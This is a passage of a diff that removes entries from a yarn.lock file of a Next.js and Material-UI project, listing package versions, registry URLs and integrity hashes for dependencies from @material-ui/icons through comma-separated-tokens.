- version "4.11.2"
- resolved "https://registry.yarnpkg.com/@material-ui/icons/-/icons-4.11.2.tgz#b3a7353266519cd743b6461ae9fdfcb1b25eb4c5"
- integrity sha512-fQNsKX2TxBmqIGJCSi3tGTO/gZ+eJgWmMJkgDiOfyNaunNaxcklJQFaFogYcFl0qFuaEz1qaXYXboa/bUXVSOQ==
- dependencies:
- "@babel/runtime" "^7.4.4"
-
-"@material-ui/styles@^4.11.3":
- version "4.11.3"
- resolved "https://registry.yarnpkg.com/@material-ui/styles/-/styles-4.11.3.tgz#1b8d97775a4a643b53478c895e3f2a464e8916f2"
- integrity sha512-HzVzCG+PpgUGMUYEJ2rTEmQYeonGh41BYfILNFb/1ueqma+p1meSdu4RX6NjxYBMhf7k+jgfHFTTz+L1SXL/Zg==
- dependencies:
- "@babel/runtime" "^7.4.4"
- "@emotion/hash" "^0.8.0"
- "@material-ui/types" "^5.1.0"
- "@material-ui/utils" "^4.11.2"
- clsx "^1.0.4"
- csstype "^2.5.2"
- hoist-non-react-statics "^3.3.2"
- jss "^10.5.1"
- jss-plugin-camel-case "^10.5.1"
- jss-plugin-default-unit "^10.5.1"
- jss-plugin-global "^10.5.1"
- jss-plugin-nested "^10.5.1"
- jss-plugin-props-sort "^10.5.1"
- jss-plugin-rule-value-function "^10.5.1"
- jss-plugin-vendor-prefixer "^10.5.1"
- prop-types "^15.7.2"
-
-"@material-ui/system@^4.11.3":
- version "4.11.3"
- resolved "https://registry.yarnpkg.com/@material-ui/system/-/system-4.11.3.tgz#466bc14c9986798fd325665927c963eb47cc4143"
- integrity sha512-SY7otguNGol41Mu2Sg6KbBP1ZRFIbFLHGK81y4KYbsV2yIcaEPOmsCK6zwWlp+2yTV3J/VwT6oSBARtGIVdXPw==
- dependencies:
- "@babel/runtime" "^7.4.4"
- "@material-ui/utils" "^4.11.2"
- csstype "^2.5.2"
- prop-types "^15.7.2"
-
-"@material-ui/types@^5.1.0":
- version "5.1.0"
- resolved "https://registry.yarnpkg.com/@material-ui/types/-/types-5.1.0.tgz#efa1c7a0b0eaa4c7c87ac0390445f0f88b0d88f2"
- integrity sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==
-
-"@material-ui/utils@^4.11.2":
- version "4.11.2"
- resolved "https://registry.yarnpkg.com/@material-ui/utils/-/utils-4.11.2.tgz#f1aefa7e7dff2ebcb97d31de51aecab1bb57540a"
- integrity sha512-Uul8w38u+PICe2Fg2pDKCaIG7kOyhowZ9vjiC1FsVwPABTW8vPPKfF6OvxRq3IiBaI1faOJmgdvMG7rMJARBhA==
- dependencies:
- "@babel/runtime" "^7.4.4"
- prop-types "^15.7.2"
- react-is "^16.8.0 || ^17.0.0"
-
-"@next/env@10.0.9":
- version "10.0.9"
- resolved "https://registry.yarnpkg.com/@next/env/-/env-10.0.9.tgz#455fd364c8a5ee012b2cd4406d5294164990706d"
- integrity sha512-MERX3DY5u0Ed29eAsXeFBCZlFAGBtmjf7+Nht0hfgB25MPKKkIbC/0MRPcX/PQcAgLHsAHO6ay1u9xKzR4Vzjw==
-
-"@next/polyfill-module@10.0.9":
- version "10.0.9"
- resolved "https://registry.yarnpkg.com/@next/polyfill-module/-/polyfill-module-10.0.9.tgz#0c21442dd73ec31ae30ac560bc5c5fdce068a98f"
- integrity sha512-kPOP6ku/e8zdrK8hwxOrjUrPLcdDEj12huLHVz+DZU+20q6VlhMOtR8aKHW1460L4LoLE/DAa7YyIuxtArhDRg==
-
-"@next/react-dev-overlay@10.0.9":
- version "10.0.9"
- resolved "https://registry.yarnpkg.com/@next/react-dev-overlay/-/react-dev-overlay-10.0.9.tgz#5162d66c05b2a0ca0d155f7e6663e8134d9d4ac9"
- integrity sha512-JsSh2Y004MEuPYqBD9eTl4PVZIjSzSy2GcD7MrW/gQcExYNpeMIJAbh8/OcyO1t+OnQeIHF5s/xTMsDHBGNcew==
- dependencies:
- "@babel/code-frame" "7.12.11"
- anser "1.4.9"
- chalk "4.0.0"
- classnames "2.2.6"
- css.escape "1.5.1"
- data-uri-to-buffer "3.0.1"
- platform "1.3.6"
- shell-quote "1.7.2"
- source-map "0.8.0-beta.0"
- stacktrace-parser "0.1.10"
- strip-ansi "6.0.0"
-
-"@next/react-refresh-utils@10.0.9":
- version "10.0.9"
- resolved "https://registry.yarnpkg.com/@next/react-refresh-utils/-/react-refresh-utils-10.0.9.tgz#cdf9e41f8854c113397853daf78469b0c8140f14"
- integrity sha512-LSoKnM+fI9MHHew+mBg1w2e4/gjwPQsI+mDTzmfwdBwje+j9U2Int6XOZftMqBPXSlL04vjC9SRBkp0+3h8cNA==
-
-"@opentelemetry/api@0.14.0":
- version "0.14.0"
- resolved "https://registry.yarnpkg.com/@opentelemetry/api/-/api-0.14.0.tgz#4e17d8d2f1da72b19374efa7b6526aa001267cae"
- integrity sha512-L7RMuZr5LzMmZiQSQDy9O1jo0q+DaLy6XpYJfIGfYSfoJA5qzYwUP3sP1uMIQ549DvxAgM3ng85EaPTM/hUHwQ==
- dependencies:
- "@opentelemetry/context-base" "^0.14.0"
-
-"@opentelemetry/context-base@^0.14.0":
- version "0.14.0"
- resolved "https://registry.yarnpkg.com/@opentelemetry/context-base/-/context-base-0.14.0.tgz#c67fc20a4d891447ca1a855d7d70fa79a3533001"
- integrity sha512-sDOAZcYwynHFTbLo6n8kIbLiVF3a3BLkrmehJUyEbT9F+Smbi47kLGS2gG2g0fjBLR/Lr1InPD7kXL7FaTqEkw==
-
-"@types/hast@^2.0.0":
- version "2.3.1"
- resolved "https://registry.yarnpkg.com/@types/hast/-/hast-2.3.1.tgz#b16872f2a6144c7025f296fb9636a667ebb79cd9"
- integrity sha512-viwwrB+6xGzw+G1eWpF9geV3fnsDgXqHG+cqgiHrvQfDUW5hzhCyV7Sy3UJxhfRFBsgky2SSW33qi/YrIkjX5Q==
- dependencies:
- "@types/unist" "*"
-
-"@types/mdast@^3.0.0":
- version "3.0.3"
- resolved "https://registry.yarnpkg.com/@types/mdast/-/mdast-3.0.3.tgz#2d7d671b1cd1ea3deb306ea75036c2a0407d2deb"
- integrity sha512-SXPBMnFVQg1s00dlMCc/jCdvPqdE4mXaMMCeRlxLDmTAEoegHT53xKtkDnzDTOcmMHUfcjyf36/YYZ6SxRdnsw==
- dependencies:
- "@types/unist" "*"
-
-"@types/mousetrap@^1.6.4":
- version "1.6.8"
- resolved "https://registry.yarnpkg.com/@types/mousetrap/-/mousetrap-1.6.8.tgz#448929e6dc21126392830465fdb9d4a2cfc16a88"
- integrity sha512-zTqjvgCUT5EoXqbqmd8iJMb4NJqyV/V7pK7AIKq7qcaAsJIpGlTVJS1HQM6YkdHCdnkNSbhcQI7MXYxFfE3iCA==
-
-"@types/node@^14.14.36":
- version "14.14.36"
- resolved "https://registry.yarnpkg.com/@types/node/-/node-14.14.36.tgz#5637905dbb15c30a33a3c65b9ef7c20e3c85ebad"
- integrity sha512-kjivUwDJfIjngzbhooRnOLhGYz6oRFi+L+EpMjxroDYXwDw9lHrJJ43E+dJ6KAd3V3WxWAJ/qZE9XKYHhjPOFQ==
-
-"@types/parse5@^5.0.0":
- version "5.0.3"
- resolved "https://registry.yarnpkg.com/@types/parse5/-/parse5-5.0.3.tgz#e7b5aebbac150f8b5fdd4a46e7f0bd8e65e19109"
- integrity sha512-kUNnecmtkunAoQ3CnjmMkzNU/gtxG8guhi+Fk2U/kOpIKjIMKnXGp4IJCgQJrXSgMsWYimYG4TGjz/UzbGEBTw==
-
-"@types/prop-types@*":
- version "15.7.3"
- resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.3.tgz#2ab0d5da2e5815f94b0b9d4b95d1e5f243ab2ca7"
- integrity sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw==
-
-"@types/react-syntax-highlighter@^13.5.0":
- version "13.5.0"
- resolved "https://registry.yarnpkg.com/@types/react-syntax-highlighter/-/react-syntax-highlighter-13.5.0.tgz#b93c05f28844e7c35a5f1d38d3819099ffa82fbd"
- integrity sha512-U7DrUaQRv3b+fsbPXMf7vC21K7DOkdNCQtp14Wm0Z5YLI9fPhndN4YTZ9eVXwmAivIg6lZ3YBVtGYucAS3H76A==
- dependencies:
- "@types/react" "*"
-
-"@types/react-transition-group@^4.2.0":
- version "4.4.1"
- resolved "https://registry.yarnpkg.com/@types/react-transition-group/-/react-transition-group-4.4.1.tgz#e1a3cb278df7f47f17b5082b1b3da17170bd44b1"
- integrity sha512-vIo69qKKcYoJ8wKCJjwSgCTM+z3chw3g18dkrDfVX665tMH7tmbDxEAnPdey4gTlwZz5QuHGzd+hul0OVZDqqQ==
- dependencies:
- "@types/react" "*"
-
-"@types/react@*", "@types/react@^17.0.3":
- version "17.0.3"
- resolved "https://registry.yarnpkg.com/@types/react/-/react-17.0.3.tgz#ba6e215368501ac3826951eef2904574c262cc79"
- integrity sha512-wYOUxIgs2HZZ0ACNiIayItyluADNbONl7kt8lkLjVK8IitMH5QMyAh75Fwhmo37r1m7L2JaFj03sIfxBVDvRAg==
- dependencies:
- "@types/prop-types" "*"
- "@types/scheduler" "*"
- csstype "^3.0.2"
-
-"@types/scheduler@*":
- version "0.16.1"
- resolved "https://registry.yarnpkg.com/@types/scheduler/-/scheduler-0.16.1.tgz#18845205e86ff0038517aab7a18a62a6b9f71275"
- integrity sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA==
-
-"@types/unist@*", "@types/unist@^2.0.0", "@types/unist@^2.0.2", "@types/unist@^2.0.3":
- version "2.0.3"
- resolved "https://registry.yarnpkg.com/@types/unist/-/unist-2.0.3.tgz#9c088679876f374eb5983f150d4787aa6fb32d7e"
- integrity sha512-FvUupuM3rlRsRtCN+fDudtmytGO6iHJuuRKS1Ss0pG5z8oX0diNEw94UEL7hgDbpN94rgaK5R7sWm6RrSkZuAQ==
-
-anser@1.4.9:
- version "1.4.9"
- resolved "https://registry.yarnpkg.com/anser/-/anser-1.4.9.tgz#1f85423a5dcf8da4631a341665ff675b96845760"
- integrity sha512-AI+BjTeGt2+WFk4eWcqbQ7snZpDBt8SaLlj0RT2h5xfdWaiy51OjYvqwMrNzJLGy8iOAL6nKDITWO+rd4MkYEA==
-
-ansi-regex@^5.0.0:
- version "5.0.0"
- resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75"
- integrity sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==
-
-ansi-styles@^3.2.1:
- version "3.2.1"
- resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
- integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
- dependencies:
- color-convert "^1.9.0"
-
-ansi-styles@^4.1.0:
- version "4.3.0"
- resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
- integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
- dependencies:
- color-convert "^2.0.1"
-
-anymatch@~3.1.1:
- version "3.1.1"
- resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.1.tgz#c55ecf02185e2469259399310c173ce31233b142"
- integrity sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==
- dependencies:
- normalize-path "^3.0.0"
- picomatch "^2.0.4"
-
-asn1.js@^5.2.0:
- version "5.4.1"
- resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07"
- integrity sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==
- dependencies:
- bn.js "^4.0.0"
- inherits "^2.0.1"
- minimalistic-assert "^1.0.0"
- safer-buffer "^2.1.0"
-
-assert@^1.1.1:
- version "1.5.0"
- resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb"
- integrity sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==
- dependencies:
- object-assign "^4.1.1"
- util "0.10.3"
-
-ast-types@0.13.2:
- version "0.13.2"
- resolved "https://registry.yarnpkg.com/ast-types/-/ast-types-0.13.2.tgz#df39b677a911a83f3a049644fb74fdded23cea48"
- integrity sha512-uWMHxJxtfj/1oZClOxDEV1sQ1HCDkA4MG8Gr69KKeBjEVH0R84WlejZ0y2DcwyBlpAEMltmVYkVgqfLFb2oyiA==
-
-babel-plugin-syntax-jsx@6.18.0:
- version "6.18.0"
- resolved "https://registry.yarnpkg.com/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz#0af32a9a6e13ca7a3fd5069e62d7b0f58d0d8946"
- integrity sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=
-
-bail@^1.0.0:
- version "1.0.5"
- resolved "https://registry.yarnpkg.com/bail/-/bail-1.0.5.tgz#b6fa133404a392cbc1f8c4bf63f5953351e7a776"
- integrity sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ==
-
-base64-js@^1.0.2:
- version "1.5.1"
- resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
- integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
-
-big.js@^5.2.2:
- version "5.2.2"
- resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
- integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
-
-binary-extensions@^2.0.0:
- version "2.2.0"
- resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d"
- integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==
-
-bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.9:
- version "4.12.0"
- resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88"
- integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==
-
-bn.js@^5.0.0, bn.js@^5.1.1:
- version "5.2.0"
- resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.2.0.tgz#358860674396c6997771a9d051fcc1b57d4ae002"
- integrity sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw==
-
-braces@~3.0.2:
- version "3.0.2"
- resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107"
- integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==
- dependencies:
- fill-range "^7.0.1"
-
-brorand@^1.0.1, brorand@^1.1.0:
- version "1.1.0"
- resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f"
- integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=
-
-browserify-aes@^1.0.0, browserify-aes@^1.0.4:
- version "1.2.0"
- resolved "https://registry.yarnpkg.com/browserify-aes/-/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48"
- integrity sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==
- dependencies:
- buffer-xor "^1.0.3"
- cipher-base "^1.0.0"
- create-hash "^1.1.0"
- evp_bytestokey "^1.0.3"
- inherits "^2.0.1"
- safe-buffer "^5.0.1"
-
-browserify-cipher@^1.0.0:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/browserify-cipher/-/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0"
- integrity sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==
- dependencies:
- browserify-aes "^1.0.4"
- browserify-des "^1.0.0"
- evp_bytestokey "^1.0.0"
-
-browserify-des@^1.0.0:
- version "1.0.2"
- resolved "https://registry.yarnpkg.com/browserify-des/-/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c"
- integrity sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==
- dependencies:
- cipher-base "^1.0.1"
- des.js "^1.0.0"
- inherits "^2.0.1"
- safe-buffer "^5.1.2"
-
-browserify-rsa@^4.0.0, browserify-rsa@^4.0.1:
- version "4.1.0"
- resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d"
- integrity sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==
- dependencies:
- bn.js "^5.0.0"
- randombytes "^2.0.1"
-
-browserify-sign@^4.0.0:
- version "4.2.1"
- resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.1.tgz#eaf4add46dd54be3bb3b36c0cf15abbeba7956c3"
- integrity sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==
- dependencies:
- bn.js "^5.1.1"
- browserify-rsa "^4.0.1"
- create-hash "^1.2.0"
- create-hmac "^1.1.7"
- elliptic "^6.5.3"
- inherits "^2.0.4"
- parse-asn1 "^5.1.5"
- readable-stream "^3.6.0"
- safe-buffer "^5.2.0"
-
-browserify-zlib@^0.2.0:
- version "0.2.0"
- resolved "https://registry.yarnpkg.com/browserify-zlib/-/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f"
- integrity sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==
- dependencies:
- pako "~1.0.5"
-
-browserslist@4.16.1:
- version "4.16.1"
- resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.1.tgz#bf757a2da376b3447b800a16f0f1c96358138766"
- integrity sha512-UXhDrwqsNcpTYJBTZsbGATDxZbiVDsx6UjpmRUmtnP10pr8wAYr5LgFoEFw9ixriQH2mv/NX2SfGzE/o8GndLA==
- dependencies:
- caniuse-lite "^1.0.30001173"
- colorette "^1.2.1"
- electron-to-chromium "^1.3.634"
- escalade "^3.1.1"
- node-releases "^1.1.69"
-
-buffer-xor@^1.0.3:
- version "1.0.3"
- resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9"
- integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=
-
-buffer@5.6.0:
- version "5.6.0"
- resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.6.0.tgz#a31749dc7d81d84db08abf937b6b8c4033f62786"
- integrity sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==
- dependencies:
- base64-js "^1.0.2"
- ieee754 "^1.1.4"
-
-buffer@^4.3.0:
- version "4.9.2"
- resolved "https://registry.yarnpkg.com/buffer/-/buffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8"
- integrity sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==
- dependencies:
- base64-js "^1.0.2"
- ieee754 "^1.1.4"
- isarray "^1.0.0"
-
-builtin-status-codes@^3.0.0:
- version "3.0.0"
- resolved "https://registry.yarnpkg.com/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8"
- integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=
-
-bytes@3.1.0:
- version "3.1.0"
- resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
- integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==
-
-caniuse-lite@^1.0.30001173, caniuse-lite@^1.0.30001179:
- version "1.0.30001204"
- resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001204.tgz#256c85709a348ec4d175e847a3b515c66e79f2aa"
- integrity sha512-JUdjWpcxfJ9IPamy2f5JaRDCaqJOxDzOSKtbdx4rH9VivMd1vIzoPumsJa9LoMIi4Fx2BV2KZOxWhNkBjaYivQ==
-
-ccount@^1.0.0:
- version "1.1.0"
- resolved "https://registry.yarnpkg.com/ccount/-/ccount-1.1.0.tgz#246687debb6014735131be8abab2d93898f8d043"
- integrity sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg==
-
-chalk@2.4.2, chalk@^2.0.0, chalk@^2.4.2:
- version "2.4.2"
- resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
- integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
- dependencies:
- ansi-styles "^3.2.1"
- escape-string-regexp "^1.0.5"
- supports-color "^5.3.0"
-
-chalk@4.0.0:
- version "4.0.0"
- resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.0.0.tgz#6e98081ed2d17faab615eb52ac66ec1fe6209e72"
- integrity sha512-N9oWFcegS0sFr9oh1oz2d7Npos6vNoWW9HvtCg5N1KRFpUhaAhvTv5Y58g880fZaEYSNm3qDz8SU1UrGvp+n7A==
- dependencies:
- ansi-styles "^4.1.0"
- supports-color "^7.1.0"
-
-character-entities-legacy@^1.0.0:
- version "1.1.4"
- resolved "https://registry.yarnpkg.com/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz#94bc1845dce70a5bb9d2ecc748725661293d8fc1"
- integrity sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==
-
-character-entities@^1.0.0:
- version "1.2.4"
- resolved "https://registry.yarnpkg.com/character-entities/-/character-entities-1.2.4.tgz#e12c3939b7eaf4e5b15e7ad4c5e28e1d48c5b16b"
- integrity sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==
-
-character-reference-invalid@^1.0.0:
- version "1.1.4"
- resolved "https://registry.yarnpkg.com/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz#083329cda0eae272ab3dbbf37e9a382c13af1560"
- integrity sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==
-
-chokidar@3.5.1:
- version "3.5.1"
- resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a"
- integrity sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==
- dependencies:
- anymatch "~3.1.1"
- braces "~3.0.2"
- glob-parent "~5.1.0"
- is-binary-path "~2.1.0"
- is-glob "~4.0.1"
- normalize-path "~3.0.0"
- readdirp "~3.5.0"
- optionalDependencies:
- fsevents "~2.3.1"
-
-cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3:
- version "1.0.4"
- resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de"
- integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==
- dependencies:
- inherits "^2.0.1"
- safe-buffer "^5.0.1"
-
-classnames@2.2.6:
- version "2.2.6"
- resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.2.6.tgz#43935bffdd291f326dad0a205309b38d00f650ce"
- integrity sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==
-
-clipboard@^2.0.0:
- version "2.0.8"
- resolved "https://registry.yarnpkg.com/clipboard/-/clipboard-2.0.8.tgz#ffc6c103dd2967a83005f3f61976aa4655a4cdba"
- integrity sha512-Y6WO0unAIQp5bLmk1zdThRhgJt/x3ks6f30s3oE3H1mgIEU33XyQjEf8gsf6DxC7NPX8Y1SsNWjUjL/ywLnnbQ==
- dependencies:
- good-listener "^1.2.2"
- select "^1.1.2"
- tiny-emitter "^2.0.0"
-
-clsx@^1.0.4:
- version "1.1.1"
- resolved "https://registry.yarnpkg.com/clsx/-/clsx-1.1.1.tgz#98b3134f9abbdf23b2663491ace13c5c03a73188"
- integrity sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA==
-
-color-convert@^1.9.0:
- version "1.9.3"
- resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
- integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
- dependencies:
- color-name "1.1.3"
-
-color-convert@^2.0.1:
- version "2.0.1"
- resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
- integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
- dependencies:
- color-name "~1.1.4"
-
-color-name@1.1.3:
- version "1.1.3"
- resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
- integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
-
-color-name@~1.1.4:
- version "1.1.4"
- resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
- integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
-
-colorette@^1.2.1:
- version "1.2.2"
- resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94"
- integrity sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==
-
-comma-separated-tokens@^1.0.0:
- version "1.0.8"
- resolved "https://registry.yarnpkg.com/comma-separated-tokens/-/comma-separated-tokens-1.0.8.tgz#632b80b6117867a158f1080ad498b2fbe7e3f5ea"
